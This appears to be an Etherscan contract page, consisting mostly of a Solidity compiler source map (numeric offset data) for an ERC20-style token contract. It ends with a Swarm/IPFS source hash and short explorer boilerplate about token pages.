4222:6638:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5383:83;;;;;;;;;;-1:-1:-1;5453:5:0;;;;;;;;;;;;-1:-1:-1;;;5453:5:0;;;;5383:83;;;;;;;:::i;:::-;;;;;;;;6293:193;;;;;;;;;;-1:-1:-1;6293:193:0;;;;;:::i;:::-;;:::i;:::-;;;4365:14:1;;4358:22;4340:41;;4328:2;4313:18;6293:193:0;4200:187:1;5660:100:0;;;;;;;;;;-1:-1:-1;5740:12:0;;5660:100;;;9354:25:1;;;9342:2;9327:18;5660:100:0;9208:177:1;6494:446:0;;;;;;;;;;-1:-1:-1;6494:446:0;;;;;:::i;:::-;;:::i;10444:87::-;;;;;;;;;;;;;:::i;:::-;;10539:153;;;;;;;;;;-1:-1:-1;10539:153:0;;;;;:::i;:::-;;:::i;5569:83::-;;;;;;;;;;-1:-1:-1;5569:83:0;;4674:1;9532:36:1;;9520:2;9505:18;5569:83:0;9390:184:1;6948:101:0;;;;;;;;;;-1:-1:-1;6948:101:0;;;;;:::i;:::-;;:::i;5768:118::-;;;;;;;;;;-1:-1:-1;5768:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;5861:17:0;5834:7;5861:17;;;:8;:17;;;;;;;5768:118;3174:148;;;;;;;;;;;;;:::i;10700:120::-;;;;;;;;;;-1:-1:-1;10700:120:0;;;;;:::i;:::-;;:::i;2960:79::-;;;;;;;;;;-1:-1:-1;2998:7:0;3025:6;2960:79;;-1:-1:-1;;;;;3025:6:0;;;2649:51:1;;2637:2;2622:18;2960:79:0;2503:203:1;5474:87:0;;;;;;;;;;-1:-1:-1;5546:7:0;;;;;;;;;;;;-1:-1:-1;;;5546:7:0;;;;5474:87;;5894:199;;;;;;;;;;-1:-1:-1;5894:199:0;;;;;:::i;:::-;;:::i;8989:1038::-;;;;;;;;;;;;;:::i;10341:95::-;;;;;;;;;;;;;:::i;6101:184::-;;;;;;;;;;-1:-1:-1;6101:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6250:18:0;;;6218:7;6250:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6101:184;6293:193;6395:4;6417:39;408:10;6440:7;6449:6;6417:8;:39::i;:::-;-1:-1:-1;6474:4:0;6293:193;;;;:::o;6494:446::-;6626:4;6643:36;6653:6;6661:9;6672:6;6643:9;:36::i;:::-;6690:220;6713:6;408:10;6761:138;6817:6;6761:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6761:19:0;;;;;;:11;:19;;;;;;;;408:10;6761:33;;;;;;;;;;:37;:138::i;:::-;6690:8;:220::i;:::-;-1:-1:-1;6928:4:0;6494:446;;;;;:::o;10444:87::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;;;;;;;;;5740:12;;10495::::1;:28:::0;10444:87::o;10539:153::-;5123:10;;-1:-1:-1;;;;;5123:10:0;5138;5115:33;5093:120;;;;-1:-1:-1;;;5093:120:0;;7841:2:1;5093:120:0;;;7823:21:1;7880:2;7860:18;;;7853:30;7919:34;7899:18;;;7892:62;-1:-1:-1;;;7970:18:1;;;7963:35;8015:19;;5093:120:0;7639:401:1;5093:120:0;-1:-1:-1;;;;;10652:23:0;;::::1;;::::0;;;:8:::1;:23;::::0;;;;:32;10539:153::o;6948:101::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;7018:15:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;7018:23:0::1;-1:-1:-1::0;;;;7018:23:0;;::::1;::::0;;;::::1;::::0;;6948:101::o;3174:148::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;3281:1:::1;3265:6:::0;;3244:40:::1;::::0;-1:-1:-1;;;;;3265:6:0;;::::1;::::0;3244:40:::1;::::0;3281:1;;3244:40:::1;3312:1;3295:19:::0;;-1:-1:-1;;;;;;3295:19:0::1;::::0;;3174:148::o;10700:120::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;10775:10:::1;:37:::0;;-1:-1:-1;;;;;;10775:37:0::1;-1:-1:-1::0;;;;;10775:37:0;;;::::1;::::0;;;::::1;::::0;;10700:120::o;5894:199::-;5999:4;6021:42;408:10;6045:9;6056:6;6021:9;:42::i;8989:1038::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;9051:11:::1;::::0;-1:-1:-1;;;9051:11:0;::::1;;;9050:12;9042:48;;;::::0;-1:-1:-1;;;9042:48:0;;9058:2:1;9042:48:0::1;::::0;::::1;9040:21:1::0;9097:2;9077:18;;;9070:30;9136:25;9116:18;;;9109:53;9179:18;;9042:48:0::1;8856:347:1::0;9042:48:0::1;9236:15;:34:::0;;-1:-1:-1;;;;;;9236:34:0::1;9172:42;9236:34:::0;;::::1;::::0;;;9331:12:::1;::::0;9281:63:::1;::::0;9298:4:::1;::::0;9172:42;;9281:8:::1;:63::i;:::-;9389:16;-1:-1:-1::0;;;;;9389:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9371:70:0::1;;9450:4;9457:16;-1:-1:-1::0;;;;;9457:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9371:110;::::0;-1:-1:-1;;;;;;9371:110:0::1;::::0;;;;;;-1:-1:-1;;;;;2941:15:1;;;9371:110:0::1;::::0;::::1;2923:34:1::0;2993:15;;2973:18;;;2966:43;2858:18;;9371:110:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9355:13;:126:::0;;-1:-1:-1;;;;;9355:126:0;;::::1;-1:-1:-1::0;;;;;;9355:126:0;;::::1;;::::0;;9492:15:::1;::::0;::::1;:31;9531:21;9576:4;9596:24;9576:4:::0;-1:-1:-1;;;;;5861:17:0;5834:7;5861:17;;;:8;:17;;;;;;;5768:118;9596:24:::1;9635:1;9651::::0;9667:7:::1;2998::::0;3025:6;-1:-1:-1;;;;;3025:6:0;;2960:79;9667:7:::1;9492:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9492:223:0;;;-1:-1:-1;;;;;3947:15:1;;;9492:223:0::1;::::0;::::1;3929:34:1::0;3979:18;;;3972:34;;;;4022:18;;;4015:34;;;;4065:18;;;4058:34;4129:15;;;4108:19;;;4101:44;9689:15:0::1;4161:19:1::0;;;4154:35;3863:19;;9492:223:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9726:11:0::1;:18:::0;;9803:17:::1;9788:12;:32:::0;9850:18:::1;9831:16;:37:::0;-1:-1:-1;;;;9879:18:0;;-1:-1:-1;;;9879:18:0;;;;9960:15:::1;::::0;9908:111:::1;::::0;-1:-1:-1;;;9908:111:0;;-1:-1:-1;;;;;9960:15:0;;::::1;9908:111;::::0;::::1;3483:51:1::0;-1:-1:-1;;3550:18:1;;;3543:34;9915:13:0;;;-1:-1:-1;9908:29:0::1;::::0;3456:18:1;;9908:111:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9031:996;8989:1038::o:0;10341:95::-;3087:6;;-1:-1:-1;;;;;3087:6:0;408:10;3087:22;3079:67;;;;-1:-1:-1;;;3079:67:0;;;;;;;:::i;:::-;5740:12;;10396:16:::1;:32:::0;10341:95::o;7057:369::-;-1:-1:-1;;;;;7184:19:0;;7176:68;;;;-1:-1:-1;;;7176:68:0;;8653:2:1;7176:68:0;;;8635:21:1;8692:2;8672:18;;;8665:30;8731:34;8711:18;;;8704:62;-1:-1:-1;;;8782:18:1;;;8775:34;8826:19;;7176:68:0;8451:400:1;7176:68:0;-1:-1:-1;;;;;7263:21:0;;7255:68;;;;-1:-1:-1;;;7255:68:0;;5958:2:1;7255:68:0;;;5940:21:1;5997:2;5977:18;;;5970:30;6036:34;6016:18;;;6009:62;-1:-1:-1;;;6087:18:1;;;6080:32;6129:19;;7255:68:0;5756:398:1;7255:68:0;-1:-1:-1;;;;;7334:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7386:32;;9354:25:1;;;7386:32:0;;9327:18:1;7386:32:0;;;;;;;;7057:369;;;:::o;7434:1547::-;-1:-1:-1;;;;;7556:18:0;;7548:68;;;;-1:-1:-1;;;7548:68:0;;8247:2:1;7548:68:0;;;8229:21:1;8286:2;8266:18;;;8259:30;8325:34;8305:18;;;8298:62;-1:-1:-1;;;8376:18:1;;;8369:35;8421:19;;7548:68:0;8045:401:1;7548:68:0;-1:-1:-1;;;;;7635:16:0;;7627:64;;;;-1:-1:-1;;;7627:64:0;;5196:2:1;7627:64:0;;;5178:21:1;5235:2;5215:18;;;5208:30;5274:34;5254:18;;;5247:62;-1:-1:-1;;;5325:18:1;;;5318:33;5368:19;;7627:64:0;4994:399:1;7627:64:0;7719:1;7710:6;:10;7702:64;;;;-1:-1:-1;;;7702:64:0;;7431:2:1;7702:64:0;;;7413:21:1;7470:2;7450:18;;;7443:30;7509:34;7489:18;;;7482:62;-1:-1:-1;;;7560:18:1;;;7553:39;7609:19;;7702:64:0;7229:405:1;7702:64:0;2998:7;3025:6;-1:-1:-1;;;;;7783:15:0;;;3025:6;;7783:15;;;;:32;;-1:-1:-1;2998:7:0;3025:6;-1:-1:-1;;;;;7802:13:0;;;3025:6;;7802:13;;7783:32;7779:1195;;;7850:12;;7840:6;:22;;7832:64;;;;-1:-1:-1;;;7832:64:0;;5600:2:1;7832:64:0;;;5582:21:1;5639:2;5619:18;;;5612:30;5678:31;5658:18;;;5651:59;5727:18;;7832:64:0;5398:353:1;7832:64:0;7923:13;;-1:-1:-1;;;;;7917:19:0;;;7923:13;;7917:19;:55;;;;-1:-1:-1;7956:15:0;;-1:-1:-1;;;;;7940:32:0;;;7956:15;;7940:32;;7917:55;7913:985;;;7993:10;;:32;;-1:-1:-1;;;7993:32:0;;-1:-1:-1;;;;;3206:32:1;;;7993::0;;;3188:51:1;7993:10:0;3255:18:1;;;3248:50;7993:10:0;;;;:20;;3161:18:1;;7993:32:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8044;8059:4;8065:2;8069:6;8044:14;:32::i;:::-;7434:1547;;;:::o;7913:985::-;-1:-1:-1;;;;;5861:17:0;;8117:22;5861:17;;;:8;:17;;;;;;8230:16;;8204:23;8221:6;5861:17;8204:23;:::i;:::-;:42;8174:140;;;;-1:-1:-1;;;8174:140:0;;6717:2:1;8174:140:0;;;6699:21:1;6756:2;6736:18;;;6729:30;6795:26;6775:18;;;6768:54;6839:18;;8174:140:0;6515:348:1;8174:140:0;8345:13;;-1:-1:-1;;;;;8337:21:0;;;8345:13;;8337:21;:55;;;;-1:-1:-1;8376:15:0;;-1:-1:-1;;;;;8362:30:0;;;8376:15;;8362:30;;8337:55;8333:550;;;8454:15;;-1:-1:-1;;;8454:15:0;;;;8450:111;;;-1:-1:-1;;;;;8506:12:0;;;;;;:8;:12;;;;;;8521:15;-1:-1:-1;8498:39:0;;;;;;8598:30;:15;8617:10;8598:30;:::i;:::-;-1:-1:-1;;;;;8583:12:0;;;;;;;:8;:12;;;;;;;;;:45;;;;8651:10;;:20;;-1:-1:-1;;;8651:20:0;;;;;2649:51:1;;;;8651:10:0;;:16;;2622:18:1;;8651:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8694:32;8709:4;8715:2;8719:6;8694:14;:32::i;:::-;8333:550;;;8775:10;;:33;;-1:-1:-1;;;8775:33:0;;-1:-1:-1;;;;;3206:32:1;;;8775:33:0;;;3188:51:1;8775:10:0;3255:18:1;;;3248:50;8775:10:0;;;;:20;;3161:18:1;;8775:33:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8831:32;8846:4;8852:2;8856:6;8831:14;:32::i;:::-;8098:800;7434:1547;;;:::o;7779:1195::-;8930:32;8945:4;8951:2;8955:6;8930:14;:32::i;1725:224::-;1845:7;1881:12;1873:6;;;;1865:29;;;;-1:-1:-1;;;1865:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1905:9:0;1917:5;1921:1;1917;:5;:::i;:::-;1905:17;1725:224;-1:-1:-1;;;;;1725:224:0:o;10035:298::-;-1:-1:-1;;;;;10182:16:0;;;;;;:8;:16;;;;;;:28;;10203:6;10182:20;:28::i;:::-;-1:-1:-1;;;;;10163:16:0;;;;;;;:8;:16;;;;;;:47;;;;10243:19;;;;;;;:31;;10267:6;10243:23;:31::i;:::-;-1:-1:-1;;;;;10221:19:0;;;;;;;:8;:19;;;;;;;:53;;;;10290:35;;;;;;;;;;10318:6;9354:25:1;;9342:2;9327:18;;9208:177;1581:136:0;1639:7;1666:43;1670:1;1673;1666:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1659:50;1581:136;-1:-1:-1;;;1581:136:0:o;1394:179::-;1452:7;;1484:5;1488:1;1484;:5;:::i;:::-;1472:17;;1513:1;1508;:6;;1500:46;;;;-1:-1:-1;;;1500:46:0;;6361:2:1;1500:46:0;;;6343:21:1;6400:2;6380:18;;;6373:30;6439:29;6419:18;;;6412:57;6486:18;;1500:46:0;6159:351:1;14:247;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:241::-;1752:6;1805:2;1793:9;1784:7;1780:23;1776:32;1773:52;;;1821:1;1818;1811:12;1773:52;1860:9;1847:23;1879:28;1901:5;1879:28;:::i;1942:245::-;2009:6;2062:2;2050:9;2041:7;2037:23;2033:32;2030:52;;;2078:1;2075;2068:12;2030:52;2110:9;2104:16;2129:28;2151:5;2129:28;:::i;2192:306::-;2280:6;2288;2296;2349:2;2337:9;2328:7;2324:23;2320:32;2317:52;;;2365:1;2362;2355:12;2317:52;2394:9;2388:16;2378:26;;2444:2;2433:9;2429:18;2423:25;2413:35;;2488:2;2477:9;2473:18;2467:25;2457:35;;2192:306;;;;;:::o;4392:597::-;4504:4;4533:2;4562;4551:9;4544:21;4594:6;4588:13;4637:6;4632:2;4621:9;4617:18;4610:34;4662:1;4672:140;4686:6;4683:1;4680:13;4672:140;;;4781:14;;;4777:23;;4771:30;4747:17;;;4766:2;4743:26;4736:66;4701:10;;4672:140;;;4830:6;4827:1;4824:13;4821:91;;;4900:1;4895:2;4886:6;4875:9;4871:22;4867:31;4860:42;4821:91;-1:-1:-1;4973:2:1;4952:15;-1:-1:-1;;4948:29:1;4933:45;;;;4980:2;4929:54;;4392:597;-1:-1:-1;;;4392:597:1:o;6868:356::-;7070:2;7052:21;;;7089:18;;;7082:30;7148:34;7143:2;7128:18;;7121:62;7215:2;7200:18;;6868:356::o;9579:128::-;9619:3;9650:1;9646:6;9643:1;9640:13;9637:39;;;9656:18;;:::i;:::-;-1:-1:-1;9692:9:1;;9579:128::o;9712:125::-;9752:4;9780:1;9777;9774:8;9771:34;;;9785:18;;:::i;:::-;-1:-1:-1;9822:9:1;;9712:125::o;9842:127::-;9903:10;9898:3;9894:20;9891:1;9884:31;9934:4;9931:1;9924:15;9958:4;9955:1;9948:15;9974:131;-1:-1:-1;;;;;10049:31:1;;10039:42;;10029:70;;10095:1;10092;10085:12;10029:70;9974:131;:::o;10110:118::-;10196:5;10189:13;10182:21;10175:5;10172:32;10162:60;;10218:1;10215;10208:12

Swarm Source

ipfs://5b6bdfe0eed6ed8ecad22343349b767c40c1038cb44d1f31c3eaf10738fbb023
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.